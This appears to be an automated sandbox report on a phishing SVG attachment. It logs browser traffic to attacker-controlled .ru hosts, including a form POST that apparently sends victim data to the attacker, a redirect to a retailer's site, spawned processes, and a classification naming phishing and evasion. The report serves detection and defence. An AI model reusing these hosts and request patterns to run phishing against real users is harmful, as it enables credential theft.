XSRF-TOKEN=eyJpdiI6InNYclZveHhtR1Ryd050cUI4cjBjaEE9PSIsInZhbHVlIjoiMVR5a3NvcGFrR0svY3Vna3g5d1dHbWRwa01VbFo0S3hNQkZOWURqVzBKeDVlYlJ6MlVRd2FDb3QyR2VSKzN6VkJxcTJ2SUVkaENyT1pZWUpyVDZRei93SGMxNVRnVVNlWmpxc21ESGNkTG93L1BqSERzMG91YTZDUDZzR1BqN2ciLCJtYWMiOiJmOWE4MjcxMjc3MTRmZDk2MmNhZjNjOTZkMWQwYTY2ZjIxMDkzMzJmZWZhZGUxNzlhZGVmMTczNzIwYTJhMzc4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZBaWwrQkYzWVdDOUlNelY3eklPRUE9PSIsInZhbHVlIjoiZjlHekoxOWFIRjcrZ0ozdkpMb2VnNjUvTHpQY3ptN0ZwWFYyMlI2dzVJVU1aOXVEeGpZcFo0aW1oM3JjcTlqNG15RGxjUWdKRWpUOC92TlZCMVZmQUxGN1dVR2paaGNocnRBamxDZWp2bDF1NGU3Wm4xanVsNXBocTYxdU5tQXgiLCJtYWMiOiI4N2VkY2ZkYjhjMWNhYTM1YjVkYTRiOGZhNjY0MjZhYjBmMWNhNmZmMzVlYjdjNWE1NmVkMDcyZjQ4MzA3YjQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /lmALWfU5ETUyvmQJOvfdzGr4iZ3aSLxowqT4KvwEqNKwECbl9Cew HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktPUDhRZHlBcll0bjVUdzBWVndNc1E9PSIsInZhbHVlIjoidkxQeTNwZm93b2ZPcjdEcDYyTUJneFFzLzNGUzBFR0dnYXBHb21HQ3J4ZlgwbVpUTXpNUmdrZkp3bldIWlZKZGNsTTk0MjJPWXJKb2ZlRVU2Yk5CV2Rkb3E0VnU2R1VHYnI5dEpkVk1LaDF6V3JOOUJ2ZFpiZ3NaOXE2cFEvTTAiLCJtYWMiOiIxMzJkYjVhNzA2ZDMyYmY0NWQ3NDg1OGRmYzczNjYyMmU1NDFjNzIyYmQwZGQwYzJlNDk5YTU1MWM3MGM5NTFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFNZGNQRVRQcmErZCtsS2xJYkZTMVE9PSIsInZhbHVlIjoiVXpwRTdsdjlOWmhzcXordStGSWFTejVpUU8rSlQyNFVTbHczdUtEY2JIUHIxWVEyMWpzREVSbjJmRzlzOGtZd2hIdklERUZYVGtoMGlSS2NZUzhyWGExdWpManRmczlzNkhmaUNHLzN3Rm50eWlVWi9lM1lLbFQzR2xjQTc1eHEiLCJtYWMiOiJjOWEyYjI5NTg0ODIwODUyYWNmYzE4OTYxYThjYjkxNDI1NGVkNWM3NGQ4OGEyYjI4MWMwZGE0ZWYyZTA0ZWUxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uibxkchnlxoeljctjdujdmvzqmhvzXJZEDP76OIN5YYX9QR5N8?INPOFLFWLGHPBXSLYRWTDKYOQCMEN HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://jx7d.qdjcpol.ru/WpB8P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktPUDhRZHlBcll0bjVUdzBWVndNc1E9PSIsInZhbHVlIjoidkxQeTNwZm93b2ZPcjdEcDYyTUJneFFzLzNGUzBFR0dnYXBHb21HQ3J4ZlgwbVpUTXpNUmdrZkp3bldIWlZKZGNsTTk0MjJPWXJKb2ZlRVU2Yk5CV2Rkb3E0VnU2R1VHYnI5dEpkVk1LaDF6V3JOOUJ2ZFpiZ3NaOXE2cFEvTTAiLCJtYWMiOiIxMzJkYjVhNzA2ZDMyYmY0NWQ3NDg1OGRmYzczNjYyMmU1NDFjNzIyYmQwZGQwYzJlNDk5YTU1MWM3MGM5NTFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFNZGNQRVRQcmErZCtsS2xJYkZTMVE9PSIsInZhbHVlIjoiVXpwRTdsdjlOWmhzcXordStGSWFTejVpUU8rSlQyNFVTbHczdUtEY2JIUHIxWVEyMWpzREVSbjJmRzlzOGtZd2hIdklERUZYVGtoMGlSS2NZUzhyWGExdWpManRmczlzNkhmaUNHLzN3Rm50eWlVWi9lM1lLbFQzR2xjQTc1eHEiLCJtYWMiOiJjOWEyYjI5NTg0ODIwODUyYWNmYzE4OTYxYThjYjkxNDI1NGVkNWM3NGQ4OGEyYjI4MWMwZGE0ZWYyZTA0ZWUxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.homedepot.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.homedepot.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.homedepot.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: HD_DC=origin; AKA_A2=A; akavpau_prod=1742377906~id=dd59bf83d312de6856b01fbaf62ec969; akacd_usbeta=3919830405~rv=62~id=a3dcc7cf303f93507bf9e562e31dd85e
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: jx7d.qdjcpol.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: vf70og.jnfemo.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.homedepot.com
Source: global traffic	DNS traffic detected: DNS query: dam.thdstatic.com
Source: global traffic	DNS traffic detected: DNS query: images.thdstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdn.revjet.com
Source: global traffic	DNS traffic detected: DNS query: client.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: assets.thdstatic.com
Source: global traffic	DNS traffic detected: DNS query: live-chat-static.sprinklr.com
Source: global traffic	DNS traffic detected: DNS query: siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: cdn.quantummetric.com

Source: unknown

HTTP traffic detected: POST /fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUTcaWIAycY7GBvXjsec-ch-ua-mobile: ?0Accept: */*Origin: https://jx7d.qdjcpol.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://jx7d.qdjcpol.ru/WpB8P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkR3QmZhREZoeXRuOXk0cHA1NFdTcWc9PSIsInZhbHVlIjoiU2lJZXczck1pbXFWemsxOWt3ZURuQjdRSllWMDEyb2EyQ3V5RTgrdFRKUUNqdEZLTzhRT21uZDhqMUV0bkQ2OGhrbDZJUSsraUpsNlpUbGE1R2VlRWxBV3BVN05IVW9obmlJSzh0TVl6QUkwUXFpdlF3YWVtazlFMk1PeEc3SzYiLCJtYWMiOiIyZWZjMjgxZTFmMDc1OTFkZjgzZTBiYjJiMjMzMmJjY2NmMGVmMWQ3OTdmZTVjNjk1NWY3ZTcwNjFmZTY1YTBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilk1dWFCWk9tVTZNTWszTHk1RWhqK0E9PSIsInZhbHVlIjoiSUVoR2Y3MHZqMEU1d0cwRzBQOHM1U3F6RDU2eC8rZXFIOTZ1T0M0YzNMTFhyRUZRVE1vZmdBTThUeHRFZEhBU1NCKzV6eWZtV0JLYjNwYW0xZGRIdlZkWnpYTnl0S1JKbzV6T0lhUmJjUSttK0xsejFRaWNCa0hLR1hRUXBMREkiLCJtYWMiOiI0OTY5NGUwNTU1ZmJkZTM2M2ZiNTg0MjViM2JjZmEzYTM1ZjRmMTMwOGRhZjgxZWU5Yjc0NWVmMTA1ODEzNWEwIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 09:46:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AW9JS5bPz0%2F0qbZZ2BVz%2F5yvHaONAMGina2eCeYEgVWJUNrdafFbp2k5OICucR7CzM8BzgVO3epfKywzGsRWNkqGwRF8iJ7KMvSfSzw%2BQdI22elht9S%2FWBYcCI45"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=320&min_rtt=306&rtt_var=111&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2043&delivery_rate=10755319&cwnd=252&unsent_bytes=0&cid=ec0fc5b1c75f253e&ts=202&x=0"Server: cloudflareCF-RAY: 922c0b574f549731-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=446&min_rtt=444&rtt_var=170&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1706&delivery_rate=6295652&cwnd=239&unsent_bytes=0&cid=f23db39630d16e67&ts=481&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 09:46:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YRpKB8sMTYj556fNWu6jvbaoVlx1DmQwoH1ksy%2Fh0R6coGvOEBBR7oE9FVRzeave0mvdXfxRwBahhViqbb5rwt50jufSdRL9OZ7HQsORk%2Fyq7ruYoNXcriEFS7gH"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer-Timing: cfL4;desc="?proto=TCP&rtt=362&min_rtt=353&rtt_var=116&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2231&delivery_rate=10160804&cwnd=252&unsent_bytes=0&cid=2bab914282de2818&ts=172&x=0"Cache-Control: max-age=14400Cf-Cache-Status: EXPIREDCF-RAY: 922c0b5c39f5d348-FRAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 19 Mar 2025 09:46:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f9fmxit0Dz%2FGezqENuNn5Wobzg5m5bUb5HyUvktGr5Y%2Bp5U1aI1h6Rz3NNcSfq2eb%2FX6Xq0ivlb2hByYTKvCXbQNmYInAO8c8YEDnQyv12pgu2BeqxMbutk5%2FsFu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=18481&min_rtt=18455&rtt_var=5208&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2063&delivery_rate=218630&cwnd=245&unsent_bytes=0&cid=59472a38a588d1c2&ts=204&x=0"Server: cloudflareCF-RAY: 922c0b5f8dfe9b45-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=518&min_rtt=478&rtt_var=208&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1726&delivery_rate=6058577&cwnd=241&unsent_bytes=0&cid=fa3fee18c0eea6c2&ts=518&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 371Expires: Wed, 19 Mar 2025 09:46:46 GMTCache-Control: max-age=0, no-cache, no-storePragma: no-cacheDate: Wed, 19 Mar 2025 09:46:46 GMTConnection: closeSet-Cookie: HD_DC=origin; path=/; domain=.homedepot.com; secureSet-Cookie: AKA_A2=A; expires=Wed, 19-Mar-2025 10:46:46 GMT; path=/; domain=homedepot.com; secure; HttpOnlyServer-Timing: cdn-cache; desc=HITServer-Timing: edge; dur=1Link: <https://dam.thdstatic.com>;rel="preconnect",<https://images.thdstatic.com>;rel="preconnect",<https://cdn.revjet.com>;rel="preconnect",<https://cdn.quantummetric.com>;rel="preconnect",<https://siteintercept.qualtrics.com>;rel="preconnect",<https://live-chat-static.sprinklr.com>;rel="preconnect"Link: <https://assets.thdstatic.com>;rel="preconnect",<https://client.px-cloud.net>;rel="preconnect"Akamai-GRN: 0.5c011002.1742377606.163dd8b5Set-Cookie: akavpau_prod=1742377906~id=dd59bf83d312de6856b01fbaf62ec969; Path=/; HttpOnly; Secure; SameSite=NoneSet-Cookie: akacd_usbeta=3919830405~rv=62~id=a3dcc7cf303f93507bf9e562e31dd85e; path=/; Secure; SameSite=NoneX-Proto: secureServer-Timing: ak_p; desc="1742377605976_34603356_373151925_21_64493_1_11_-";dur=1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 386Cache-Control: max-age=14400Expires: Wed, 19 Mar 2025 13:46:46 GMTDate: Wed, 19 Mar 2025 09:46:46 GMTConnection: closeServer-Timing: cdn-cache; desc=HITServer-Timing: edge; dur=1Akamai-GRN: 0.27011002.1742377606.1c78e9aaX-Proto: secureServer-Timing: ak_p; desc="1742377605977_34603303_477686186_26_157365_1_10_-";dur=1

Source: chromecache_65.3.dr

String found in binary or memory: https://www.homedepot.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.186.100:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.67:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.195.52:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.20.104:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.40:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.99.41:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.209.240:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.213:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49786 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8060_2096070521

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8060_2096070521

Jump to behavior

Source: classification engine

Classification label: mal84.phis.evad.winSVG@24/18@42/22

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,13235557415766536584,3776176302613473888,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\ATT61918.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,13235557415766536584,3776176302613473888,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
